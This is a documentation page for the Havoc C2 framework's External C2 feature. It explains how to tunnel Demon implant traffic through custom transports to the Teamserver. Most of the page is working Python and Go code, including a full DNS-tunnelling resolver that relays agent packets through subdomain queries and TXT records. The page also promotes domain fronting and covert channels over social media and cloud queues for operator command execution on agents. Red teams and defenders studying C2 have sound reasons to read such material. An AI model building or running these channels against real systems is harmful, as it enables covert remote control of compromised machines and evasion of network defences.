Documentation Index Fetch the complete documentation index at: https://mintlify.com/HavocFramework/Havoc/llms.txt
Use this file to discover all available pages before exploring further.
External C2 allows you to route Demon agent traffic through custom transport channels while the Teamserver handles agent parsing and command dispatching.
Overview
Havoc’s External C2 implementation separates transport from command logic:
Your Responsibility : Implement custom transport (DNS, ICMP, cloud APIs, etc.)
Teamserver’s Role : Parse agent packets, dispatch commands, manage sessions
This architecture enables:
Custom Protocols DNS, ICMP, custom binary protocols
Cloud Services AWS SQS, Azure Service Bus, GCP Pub/Sub
Domain Fronting CDN-based traffic redirection
Covert Channels Social media, file sharing, IoT protocols
Architecture
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ Demon │────────▶│ Your ExC2 │────────▶│ Teamserver │
│ Agent │ Custom │ Transport │ Service │ /external │
│ │◀────────│ Layer │◀────────│ Endpoint │
└──────────────┘Protocol └──────────────┘ API └──────────────┘
Demon agent sends encrypted packet
Your transport receives and forwards to Teamserver external endpoint
Teamserver parses packet, processes command
Response flows back through your transport
Agent receives and decrypts response
Configuration
Teamserver Profile
Enable the Service API in your profile:
Teamserver {
Host = "0.0.0.0"
Port = 40056
}
Service {
Endpoint = "service-endpoint"
Password = "service-password"
}
The Service directive creates a WebSocket endpoint at ws://<host>:<port>/<endpoint> for External C2 communication.
Starting the Teamserver
sudo ./havoc server --profile ./profiles/havoc.yaotl -v --debug
You’ll see output confirming the Service endpoint is available:
[*] Service endpoint listening on /service-endpoint
Implementation
Service API Connection
Connect to the Teamserver using the Service API:
from havoc.service import HavocService
import asyncio
class ExternalC2 :
def __init__ ( self ):
self .havoc = HavocService(
endpoint = "ws://0.0.0.0:40056/service-endpoint" ,
password = "service-password"
)
async def start ( self ):
# Register External C2 listener
await self .havoc.register_externalc2(
name = "DNS-C2" ,
endpoint = "dns-transport"
)
# Start your transport listener
await self .listen_dns()
async def listen_dns ( self ):
# Your custom DNS server logic
pass
if __name__ == "__main__" :
exc2 = ExternalC2()
asyncio.run(exc2.start())
package main
import (
" github.com/gorilla/websocket "
" encoding/json "
" log "
)
type ServiceClient struct {
conn * websocket . Conn
}
func ( s * ServiceClient ) Connect ( endpoint , password string ) error {
conn , _ , err := websocket . DefaultDialer . Dial ( endpoint , nil )
if err != nil {
return err
}
s . conn = conn
// Authenticate
authMsg := map [ string ] interface {}{
"Head" : map [ string ] string { "Type" : "Register" },
"Body" : map [ string ] string { "Password" : password },
}
return s . conn . WriteJSON ( authMsg )
}
func main () {
client := & ServiceClient {}
err := client . Connect (
"ws://0.0.0.0:40056/service-endpoint" ,
"service-password" ,
)
if err != nil {
log . Fatal ( err )
}
defer client . conn . Close ()
// Register ExternalC2 and start transport
}
Registering External C2 Listener
Send a ListenerAddExC2 message to register your external listener:
import json
def register_externalc2 ( websocket , name , endpoint ):
message = {
"Head" : {
"Type" : "Listener" ,
"RequestID" : "req-12345" # Unique request ID
},
"Body" : {
"Type" : "ListenerAddExC2" ,
"Name" : name,
"Endpoint" : endpoint
}
}
websocket.send(json.dumps(message))
# Wait for confirmation
response = json.loads(websocket.recv())
if response[ "Body" ][ "ExC2" ][ "Success" ]:
print ( f "ExternalC2 ' { name } ' registered successfully" )
else :
print ( f "Error: { response[ 'Body' ][ 'ExC2' ][ 'Error' ] } " )
The Teamserver creates an endpoint at:
http://<teamserver>:<port>/<endpoint>
Forwarding Agent Traffic
When you receive agent data through your transport:
Receive from Transport
# Example: DNS query with base64-encoded agent data
dns_query = "aGVsbG8gd29ybGQ=" # Your custom protocol
agent_data = base64.b64decode(dns_query)
Forward to Teamserver
import requests
import base64
def forward_to_teamserver ( agent_data , endpoint ):
url = f "http://0.0.0.0:40056/ { endpoint } "
response = requests.post(url, data = agent_data)
return response.content # Teamserver response
Return Response via Transport
# Send Teamserver response back through your transport
response_data = forward_to_teamserver(agent_data, "dns-transport" )
# Example: Encode as DNS TXT record
dns_response = base64.b64encode(response_data).decode()
send_dns_response(dns_response)
Teamserver Endpoint Handling
The External C2 endpoint handles agent packets identically to HTTP listeners:
teamserver/pkg/handlers/external.go
func ( e * External ) Request ( ctx * gin . Context ) {
// Read agent packet from request body
Body , err := io . ReadAll ( ctx . Request . Body )
if err != nil {
logger . Debug ( "Error reading request: " + err . Error ())
}
ExternalIP := strings . Split ( ctx . Request . RemoteAddr , ":" )[ 0 ]
// Parse agent packet and generate response
if Response , Success := parseAgentRequest ( e . Teamserver , Body , ExternalIP ); Success {
ctx . Writer . Write ( Response . Bytes ())
} else {
ctx . AbortWithStatus ( http . StatusNotFound )
}
}
View parseAgentRequest Logic
The parseAgentRequest function:
Decrypts the agent packet
Parses the Demon protocol
Processes commands
Generates encrypted response
Returns response bytes
This is the same logic used by HTTP/HTTPS listeners.
Complete Example: DNS ExternalC2
dns_externalc2.py
requirements.txt
import asyncio
import base64
from dnslib.server import DNSServer, BaseResolver
from dnslib import RR , QTYPE , A, TXT
import requests
from havoc.service import HavocService
class HavocDNSResolver ( BaseResolver ):
def __init__ ( self , teamserver_url ):
self .teamserver_url = teamserver_url
def resolve ( self , request , handler ):
reply = request.reply()
qname = str (request.q.qname)
# Extract agent data from subdomain
if qname.startswith( "agent." ):
encoded_data = qname.split( "." )[ 1 ]
try :
agent_data = base64.b64decode(encoded_data)
# Forward to Teamserver ExternalC2 endpoint
response = requests.post(
self .teamserver_url,
data = agent_data,
timeout = 5
)
# Return response as TXT record
response_b64 = base64.b64encode(response.content).decode()
reply.add_answer(
RR(qname, QTYPE . TXT , rdata = TXT(response_b64), ttl = 0 )
)
except Exception as e:
print ( f "Error processing request: { e } " )
reply.add_answer(RR(qname, QTYPE .A, rdata = A( "127.0.0.1" )))
else :
# Default response
reply.add_answer(RR(qname, QTYPE .A, rdata = A( "127.0.0.1" )))
return reply
async def main ():
# Connect to Havoc Service API
havoc = HavocService(
endpoint = "ws://0.0.0.0:40056/service-endpoint" ,
password = "service-password"
)
# Register ExternalC2
await havoc.register_externalc2(
name = "DNS-ExternalC2" ,
endpoint = "dns-exc2"
)
# Start DNS server
resolver = HavocDNSResolver( "http://0.0.0.0:40056/dns-exc2" )
dns_server = DNSServer(resolver, port = 53 , address = "0.0.0.0" )
print ( "[+] DNS ExternalC2 listening on 0.0.0.0:53" )
dns_server.start_thread()
# Keep alive
while True :
await asyncio.sleep( 1 )
if __name__ == "__main__" :
asyncio.run(main())
Protocol Flow
Initial Agent Registration
1. Agent → Custom Transport: Encrypted registration packet
2. Transport → Teamserver /external: HTTP POST with packet
3. Teamserver: Decrypts, parses, creates session
4. Teamserver → Transport: Encrypted response
5. Transport → Agent: Response via custom protocol
6. Agent appears in Havoc UI
1. Operator → Havoc UI: Issues command
2. Teamserver: Queues command for agent
3. Agent → Transport: Check-in via custom protocol
4. Transport → Teamserver /external: Forwarded check-in
5. Teamserver → Transport: Encrypted command packet
6. Transport → Agent: Command via custom protocol
7. Agent executes and sends output
8. Cycle repeats for output transmission
Best Practices
Always validate data before forwarding to Teamserver
Handle Teamserver connection failures gracefully
Implement retry logic for transient failures
Log errors for debugging without exposing sensitive data
Validate and sanitize all input data
Use TLS for Teamserver connections in production
Implement rate limiting to prevent abuse
Don’t log decrypted agent data
Test with Demon agent in controlled environment
Verify packet forwarding with Wireshark/tcpdump
Monitor Teamserver logs for parsing errors
Use --debug flag during development
Debugging
Enable Debug Output
sudo ./havoc server --profile ./profiles/havoc.yaotl --debug
Monitor Service Connection
[DEBUG] Service client authenticated
[INFO] [SERVICE] registered a new listener [Name: DNS-ExternalC2]
Check External Endpoint
[DEBUG] ExternalC2 [DNS-ExternalC2] client connected
[DEBUG] - Exc2 Host : 127.0.0.1:40056
[DEBUG] - Exc2 Body : [hex dump of agent packet]
Limitations
One agent packet per request (Demon protocol limitation)
Must preserve packet integrity (no fragmentation)
Teamserver expects standard Demon packet format
External endpoint is HTTP only (TLS termination at your layer)
Example Use Cases
DNS Tunneling Route traffic through DNS queries (A, TXT, CNAME records)
Cloud Queues Use AWS SQS, Azure Storage Queues for async C2
Webhooks Integrate with Slack, Discord, Microsoft Teams
IoT Protocols MQTT, CoAP for IoT-based infrastructure
Next Steps
Service API Reference Complete Python API documentation
Custom Agents Build agents that work with External C2